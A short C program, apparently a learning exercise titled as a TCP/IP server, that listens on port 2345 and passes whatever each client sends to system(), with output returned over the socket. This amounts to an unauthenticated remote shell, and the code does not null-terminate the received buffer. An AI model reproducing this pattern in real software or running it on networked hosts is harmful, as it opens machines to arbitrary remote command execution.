unix - tcp/ip服务端..

#include <sys/socket.h>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <netdb.h>
#include <string.h>
#include <unistd.h>


int main(int argc,char **argv){
struct sockaddr_in serv;
int sockfd;
char buf[56] = "Hello\n";
// if(argc != 2){
// printf("Tser <IP adress...>");
// exit(0);
// }
sockfd = socket(AF_INET,SOCK_STREAM,0);
bzero(&serv,sizeof(serv));
serv.sin_family = AF_INET;
serv.sin_port = htons(2345);
// if(inet_pton(AF_INET,argv[1],&serv.sin_addr)<0)
// printf("inet_pton\n");a
serv.sin_addr.s_addr = htonl(INADDR_ANY);
if(bind(sockfd,(struct sockaddr*)&serv,sizeof(serv))<0)
perror("bind\n");
if(listen(sockfd,20)<0)
printf("listen\n");
for(;;){
int fd;
fd = accept(sockfd,0,0);
//puts("GET\n");
int n = send(fd,buf,6,0);
recv(fd,buf,56,0);
dup2(fd,STDOUT_FILENO);
system(buf);
//printf("%d\n",n);
close(fd);
}
exit(0);
}